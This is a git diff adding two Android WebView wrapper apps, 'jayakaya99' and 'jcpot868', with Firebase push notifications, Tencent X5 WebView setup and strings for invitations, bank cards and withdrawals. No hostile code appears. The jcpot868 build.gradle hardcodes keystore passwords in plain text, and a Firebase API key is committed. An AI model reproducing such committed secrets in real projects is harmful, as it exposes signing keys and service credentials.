ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/jayakaya99/sgplay.jks b/jayakaya99/sgplay.jks new file mode 100644 index 0000000..6e661f5 Binary files /dev/null and b/jayakaya99/sgplay.jks differ diff --git a/jayakaya99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/jayakaya99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/jayakaya99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/jayakaya99/src/main/AndroidManifest.xml b/jayakaya99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3e6dd02 --- /dev/null +++ b/jayakaya99/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java b/jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java new file mode 100644 index 0000000..20b9cd5 --- /dev/null +++ b/jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.jayakaya99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 156; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://jayakaya99.biz/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#155449"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0d342f"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java b/jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4e722bc --- /dev/null +++ b/jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.jayakaya99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java b/jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java new file mode 100644 index 0000000..9d20a33 --- /dev/null +++ b/jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.jayakaya99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/jayakaya99/src/main/res/drawable-anydpi/ic_action_back.xml b/jayakaya99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/jayakaya99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/jayakaya99/src/main/res/drawable-hdpi/ic_action_back.png b/jayakaya99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/jayakaya99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/jayakaya99/src/main/res/drawable-mdpi/ic_action_back.png b/jayakaya99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/jayakaya99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/jayakaya99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/jayakaya99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/jayakaya99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable-xhdpi/ic_action_back.png b/jayakaya99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/jayakaya99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/jayakaya99/src/main/res/drawable-xxhdpi/ic_action_back.png b/jayakaya99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/jayakaya99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/jayakaya99/src/main/res/drawable/big_bg.xml b/jayakaya99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..0ace555 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/ic_launcher_background.xml b/jayakaya99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/jayakaya99/src/main/res/drawable/input_bg.xml b/jayakaya99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/jayakaya99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/jayakaya99/src/main/res/drawable/pass_word_bg.xml b/jayakaya99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/jayakaya99/src/main/res/drawable/pass_word_bg1.xml b/jayakaya99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/pass_word_bg2.xml b/jayakaya99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/jayakaya99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/shape_btn_bg.xml b/jayakaya99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/jayakaya99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/shape_dialog_bg2.xml b/jayakaya99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/shape_dialog_bg3.xml b/jayakaya99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/jayakaya99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/drawable/shape_dialog_bg_new.xml b/jayakaya99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/jayakaya99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jayakaya99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/mipmap-hdpi/ic_empty.png b/jayakaya99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/jayakaya99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/jayakaya99/src/main/res/mipmap-hdpi/ic_pull_down.png b/jayakaya99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/jayakaya99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/jayakaya99/src/main/res/mipmap-xhdpi/ic_close.png b/jayakaya99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/jayakaya99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/jayakaya99/src/main/res/mipmap-xhdpi/ic_menu.png b/jayakaya99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/jayakaya99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/jayakaya99/src/main/res/mipmap-xxhdpi/app_logo.jpg b/jayakaya99/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..4a3e6a1 Binary files /dev/null and b/jayakaya99/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/jayakaya99/src/main/res/values-en/strings.xml b/jayakaya99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/jayakaya99/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/jayakaya99/src/main/res/values-night/themes.xml b/jayakaya99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/jayakaya99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/values/colors.xml b/jayakaya99/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/jayakaya99/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/values/strings.xml b/jayakaya99/src/main/res/values/strings.xml new file mode 100644 index 0000000..5e92325 --- /dev/null +++ b/jayakaya99/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + JayaKaya99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/values/themes.xml b/jayakaya99/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/jayakaya99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/xml/app_updater_paths.xml b/jayakaya99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/jayakaya99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/xml/network_security_config.xml b/jayakaya99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/jayakaya99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/jayakaya99/src/main/res/xml/provider_paths.xml b/jayakaya99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/jayakaya99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/jayakaya99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/jayakaya99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/jayakaya99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/jcpot868/.gitignore b/jcpot868/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/jcpot868/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/jcpot868/build.gradle b/jcpot868/build.gradle new file mode 100644 index 0000000..4faf547 --- /dev/null +++ b/jcpot868/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.jcpot868" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "jcpot868" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/jcpot868/dskjweb.jks b/jcpot868/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/jcpot868/dskjweb.jks differ diff --git a/jcpot868/google-services.json b/jcpot868/google-services.json new file mode 100644 index 0000000..afdea81 --- /dev/null +++ b/jcpot868/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "353461835206", + "project_id": "jcpot868-246f9", + "storage_bucket": "jcpot868-246f9.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:353461835206:android:fb3c7c3637ad8b7c1c4ec7", + "android_client_info": { + "package_name": "com.web.jcpot868" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC67C_UpbB7busVUjMV5DA2hnzUMDrkLL0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/jcpot868/ppn.jks b/jcpot868/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/jcpot868/ppn.jks differ diff --git a/jcpot868/proguard-rules.pro b/jcpot868/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/jcpot868/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/jcpot868/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/jcpot868/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/jcpot868/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/jcpot868/src/main/AndroidManifest.xml b/jcpot868/src/main/AndroidManifest.xml new file mode 100644 index 0000000..c2d7844 --- /dev/null +++ b/jcpot868/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/java/com/web/jcpot868/MainActivity.java b/jcpot868/src/main/java/com/web/jcpot868/MainActivity.java new file mode 100644 index 0000000..b5a60dd --- /dev/null +++ b/jcpot868/src/main/java/com/web/jcpot868/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.jcpot868; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 181; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://jcpot868.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/jcpot868/src/main/java/com/web/jcpot868/MyFirebaseMessageingService.java b/jcpot868/src/main/java/com/web/jcpot868/MyFirebaseMessageingService.java new file mode 100644 index 0000000..e75537e --- /dev/null +++ b/jcpot868/src/main/java/com/web/jcpot868/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.jcpot868; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import 